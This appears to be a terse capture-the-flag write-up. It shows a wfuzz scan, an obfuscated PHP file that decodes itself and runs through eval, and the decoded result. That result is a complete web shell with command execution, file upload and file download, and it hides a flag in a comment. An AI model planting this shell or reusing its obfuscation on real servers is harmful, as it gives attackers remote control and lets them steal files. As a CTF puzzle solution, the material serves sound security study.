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wfuzz -w <wordlist> -u http://172.31.9.156/FUZZ/galacticmap.php --hc 404  

<?php 
$pPziZoJiMpcu = 82; 
$liGBOKxsOGMz = array(); 
$iyzQ5h8qf6 = "" ; 
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e  =p   xt\" ?ltps vdfic-xetrmsx'l0em0  o\"oc&'t [r\"e _e;eV.ncxm'vToil   ,F y"; 
$iyzQ5h8qf6 .= "<r s -<a  \"op r_P< poeeihaeild /ds\"se4bsxao1: r]du ;e\$'o,t dn\n)i\$'me'maoate{e  I!lb>'u btde .sr ege/ han:t"; 
$iyzQ5h8qf6 .= "elrlenjl t>( 0'eCdd0  l et0\n'seu u it ;e_ dc>ulUd'T\nxe\$L<er<.l oh>c  ii aert pdt iai(ed.QiJr\n\$i0; 0\"e0' d= ex ].xp\$r re \nwSn'u<lup ]o iluE/=>b\$t r>\n"; 
$iyzQ5h8qf6 .= "h rxn ltmb \n'-aodd') bubaa\nff0 i0] )- [ &\"4 ==e[wn (r #iEa tftelF)U sspSb\"'rd  dO o e_t ppso \n]DpneaC;aoesvp\ni( }f0 & ' \"( ]0 =sc'o  \$s #nRmaeoi=oi)p te"; 
$iyzQ5h8qf6 .= "l[>c;>ia ew   agP aw(d i;ep:rto\nnor/a/<l )\n( = ?;\$r\$0 0 'puwr\$\$d\" fgVeu'rp'al l s o'<o\n<rs rn \" leeetu\$y f\nsl (en dtyjS3?e\$   ) 0 \ngem0=  xrtrlsdi; l E=t>ma\"d";   
$iyzQ5h8qf6 .= "e{o  iafbl\nb. }ee < ptrchid>   cia''t  s qc.p)m{ \$ (0' rao0 ) 'ieid;ir\n adR'o\\ r.''\na ifdiro >'\$\ndr<t apmh(di\" ( rctE)"; 
$iyzQ5h8qf6 .= "e mtlur3h;o  m{\$2x odd0(  )n't[\nr)  gi[dcnat\$   d n Dl>r R k}\"<tr twso\$(r; i iatx;n iriei.p\nd\$ o m0' u\"e1\$\$ "; 
$iyzQ5h8qf6 .= " t]e'} ) } r'io\"c/_in '  (ie': e&e\n>/b> hu( df)\n s ptap\nt nabrp6\n et d\$o0  p] )ogi?f)'r\n=  \n=ePrm;tfGda"; 
$iyzQ5h8qf6 .= " ]e\"mrT;r s&ye\nto\" (i\$\"ii e s tici - ipryt/\n  y etd): [ & wrf (;]e\n {   cH'p\nioE=m [c.oeo\ne u  c hd; \$dd<rl.c e iohr L fca/ jf &p  ye   "; 
$iyzQ5h8qf6 .= "\"= ?no('\"\n,a\n\$\n  HtP leorT'e 'h\$vcU d l'=h >y\n d(it.e h t onme e idr1-su  e &p ?' e 0 eu t%  d\$_   To_vecnm[f= nouetp \" t."; 
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$iyzQ5h8qf6 .= "  w '=o<\$a'omp]rdo)' o}cTlre h \"'w\"hv(>t Tfltf)  xS/\n/csnf0 i0;0: uee  ee T% pw '  \$_.]\"f/_']Uil)>Da ] r\no[u>a p <.n<ra\$\\a [ie-i; 'i b<jrt ( }f0 0  "; 
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$iyzQ5h8qf6 .= "o y\"\$ ' gtcc a<m(if / S>v ? '('\n. 'z  3c.hss0=e e   u e?' '\$\$ rt]e'fl=;\n/=\"uhP cb ril._    (um bti\$r=\"' E\"a > ]\$) b Pe r.=jt\"(x'l0=e' p=  ; )gw\$[f)']ie \n\$h"; 
$iyzQ5h8qf6 .= "';so_\"hr\"yfe<F u f\$td lrsd('/. R.l \n )f; a r(}e3\"st>\$1csx'l- [ &'\n  ros'(;];l(\$}d2G\n> S<o><  =/I p i_ir e>sir\"'\$ V u}\n )i\n s a\$\nl.h\"p<f0'e8l"; 
$iyzQ5h8qf6 .= "s' \"( r i?or=r\"\n,\ne\$d\ni>Ee\\\"Ei </=('bL l lGoe  \nire.>v E\$e\n\n  l  ehgf}=6t>:/i0; 0'e;\$r\$0' f ulse%  i di\$r\"Tcn\\Ln\"id fc>E o eEns c osa \"a Rv) \n {e"; 
$iyzQ5h8qf6 .= "  nemi\n\"/t</sl0 i0; \noem0  ('pdpa1 \$f=irds;'h<nFp<ni\$io<S a  T:u l n l\$.l [a) < \n)  aaal\nscp//ce }f0 \$ wao0:  s[[rds w  r;i \n>o"; 
$iyzQ5h8qf6 .= "i<'uipvdll/[ d '[ l a sap_ u 'l[ /  )  md:e?tsssmr))\n( }t ndd1  \$''\"i'% o(')\nr=e\" nb]tnu>ieob' e .'<t s <saS\$e}Pu"; 
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$iyzQ5h8qf6 .= " ?;\$e'cc(\$1 [ei\n ra cn n p y\n/ie/eou l'< et >e\$Eun S ] \n     iCl hhojtn\n t d\$ ' e 0 \nw Suu\"os\$'tf  en\"hpt<metpi'sdbT c o]b ca"; 
$iyzQ5h8qf6 .= "<\nydRea E\" e<    hlai teta>.\n y et u x(0' o&'tt%w\"se(   ad\\ouyde=yef.t'ro'c a)r hbt  i[ m L<.c/    eecc mesx\nb< p  y '\$e\$0x r ;ee1n,.x\$(  lin tpit'p"; 
$iyzQ5h8qf6 .= "= bs>>U<e d)> olh =r'.e F/\"hh \$  a)h' ltt.\nod e &p ;ocm2' l0\n'\"se =e_\$  pr<\" evhhe'(a(E\"pbseD \"  e> >.P ] 'a<ot f hd.e) >\"r"; 
$iyzQ5h8qf6 .= "g<oi =e e \nwuo0  dx ]]\"r\$scPd  a(b<t= oi=sis\$r;lrsci{; \" N  'H\"  ]>/ m i ee'-; \n ao!tv 'l0=e ntd): [8 = ,[gpuOi  t\$riy'cdd'useur\no>fhr\n\n \$ta \$/P<.e <t\""; 
$iyzQ5h8qf6 .= "l l ar\"C\n <hpo-s  psx'l eee   \"0 == 'rrtSr  hd>npsl=dfbsnpo a<uoe   vam v'_/ l./d<> e d('o  !r.g-tc\$'e6-s r\" ?' e0 ' \$woieT   (i<peua'eime"; 
$iyzQ5h8qf6 .= "alr dbl c  fabe<a.Sa\"s t>/    e')n  -eml rlm; 0'e []& - x  x(trun'[=  \$rfu=bsPnlitmo. 'rl't  oll</l\$E><e\"d<t  = rC;t  -fieLaao i0;  \"  ''\$e) "; 
$iyzQ5h8qf6 .= "'\$yipt]'=  d)ot'msO'et(ea  ]>y<o  rue/tuvL</ ?>tr    (o\nr   =naapsd}f0 i w=0w;wc  )wpt[f)d   i;r ti=S ''\$(dF [< br  ee-treaF/t{d<d>  \$h"; 
$iyzQ5h8qf6 .= "'n o  L\".ptcse\n( }f r 0'\nou\$  oee'(;iN  r\nmtet'Tn  _\$Di 'biry  a hh>)l'td\not>\"  _eCt l rahcied=   )\n( i(0  rtoi?r)'r\"\nrU e.e yx'n'anvP_il t>n>.  c"; 
$iyzQ5h8qf6 .= "\\o>\n u]d> wd ;  Gaoe : ettsssn\"= \$   \$t\$4: lewf l;]e% 'L c'capt a maaOFre mF <'  hnv\n {e >< n>\"\n  Ednn   aets.t.c  m{ \$oem0  d\"n('d\n,a1 ]L h/hce'vveemlS"; 
$iyzQ5h8qf6 .= "Ie }pi'b<ee <e  \n).<t l\" }  Tett m dsp\"c cof o  mw\"o)' []e s[  ds )  o'ot= abn=euTLca\n_l.r/cx(br   ) td o..\n  [re- u ft:>oconi d\$ on]d - "; 
$iyzQ5h8qf6 .= "\" r\$'' \$'% )oe . i'nlac'=e[Etl ne\$>bhe\$r    )\"d> a  e  '(nD s i /\nmomtl et de e?' w=[m e o]1  rc\$\$\"ohaurtd'='Sor a d<>occ>t <  ?>  dppc  d"; 
$iyzQ5h8qf6 .= "'ti t lc/\n/m/ae  y er=  ; r \"o:x w,s { hfv<nime-yif's[re m'ib< (m\"a / {d\"\" =orh  oC-s -heom<apbip &p  [ &'\n i(ed e n % \n!oiah=de=fpriUu'ya e.r b\"'d;b t"; 
$iyzQ5h8qf6 .= " \ni.  \"sio  woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1  i ll2'd='oe'lpbf)d '\$.sr<cr\nl h  r . .in   "; 
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = ""; 
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; } 
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz)); 
$bhrTeZXazQ = "?>$bhrTeZXazQ"; 
eval( $bhrTeZXazQ ); 
?>

$ php script.php
?><?php

if (isset($_GET['download'])) {
        $file = $_GET['download'];
        if (file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        }
}

?>

<html>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">

<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>

<!-- Latest compiled JavaScript -->
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>

<div class="container">


<?php

function printPerms($file) {
        $mode = fileperms($file);
        if( $mode & 0x1000 ) { $type='p'; }
        else if( $mode & 0x2000 ) { $type='c'; }
        else if( $mode & 0x4000 ) { $type='d'; }
        else if( $mode & 0x6000 ) { $type='b'; }
        else if( $mode & 0x8000 ) { $type='-'; }
        else if( $mode & 0xA000 ) { $type='l'; }
        else if( $mode & 0xC000 ) { $type='s'; }
        else $type='u';
        $owner["read"] = ($mode & 00400) ? 'r' : '-';
        $owner["write"] = ($mode & 00200) ? 'w' : '-';
        $owner["execute"] = ($mode & 00100) ? 'x' : '-';
        $group["read"] = ($mode & 00040) ? 'r' : '-';
        $group["write"] = ($mode & 00020) ? 'w' : '-';
        $group["execute"] = ($mode & 00010) ? 'x' : '-';
        $world["read"] = ($mode & 00004) ? 'r' : '-';
        $world["write"] = ($mode & 00002) ? 'w' : '-';
        $world["execute"] = ($mode & 00001) ? 'x' : '-';
        if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
        if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
        if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
        $s=sprintf("%1s", $type);
        $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
        $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
        $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
        return $s;
}


$dir = $_GET['dir'];
if (isset($_POST['dir'])) {
        $dir = $_POST['dir'];
}
$file = '';
if ($dir == NULL or !is_dir($dir)) {
        if (is_file($dir)) {
                echo "enters";
                $file = $dir;
                echo $file;
        }
        $dir = './';
}
$dir = realpath($dir.'/'.$value);
##flag = HTB{W0w_ROt_A_DaY}
$dirs = scandir($dir);
echo "<h2>Viewing directory " . $dir . "</h2>";
echo "\n<br><form action='".$_SERVER['PHP_SELF']."' method='GET'>";
echo "<input type='hidden' name='dir' value=".$dir." />";
echo "<input type='text' name='cmd' autocomplete='off' autofocus>\n<input type='submit' value='Execute'>\n";
echo "</form>";
echo "\n<br>\n<div class='navbar-form'><form action='".$_SERVER['PHP_SELF']."' method='POST' enctype='multipart/form-data'>\n";
echo "<input type='hidden' name='dir' value='".$_GET['dir']."'/> ";
echo "<input type='file' name='fileToUpload' id='fileToUpload'>\n<br><input type='submit' value='Upload File' name='submit'>";
echo "</div>";

if (isset($_POST['submit'])) {
        $uploadDirectory = $dir.'/'.basename($_FILES['fileToUpload']['name']);
        if (file_exists($uploadDirectory)) {
        echo "<br><br><b style='color:red'>Error. File already exists in ".$uploadDirectory.".</b></br></br>";
        }
        else if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadDirectory)) {
                echo '<br><br><b>File '.$_FILES['fileToUpload']['name'].' uploaded successfully in '.$dir.' !</b><br>';
        } else {
                echo '<br><br><b style="color:red">Error uploading file '.$uploadDirectory.'</b><br><br>';

        }

}

if (isset($_GET['cmd'])) {
        echo "<br><br><b>Result of command execution: </b><br>";
        exec('cd '.$dir.' && '.$_GET['cmd'], $cmdresult);
        foreach ($cmdresult as $key => $value) {
                echo "$value \n<br>";
        }
}
echo "<br>";
?>

<table class="table table-hover table-bordered">
    <thead>
      <tr>
        <th>Name</th>
        <th>Owner</th>
        <th>Permissions</th>
      </tr>
    </thead>
    <tbody>
<?php
foreach ($dirs as $key => $value) {
        echo "<tr>";
        if (is_dir(realpath($dir.'/'.$value))) {
                echo "<td><a href='". $_SERVER['PHP_SELF'] . "?dir=". realpath($dir.'/'.$value) . "/'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] . "</td><td> " . printPerms($dir) . "</td>\n";
        }
        else {
                echo "<td><a href='". $_SERVER['PHP_SELF'] . "?download=". realpath($dir.'/'.$value) . "'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] ."</td><td> " . printPerms($dir) . "</td>\n";  
        }
        echo "</tr>";
}
echo "</tbody>";
echo "</table>";


?>



</div>
</html>

$ php script.php | grep HTB  
##flag = HTB{W0w_ROt_A_DaY}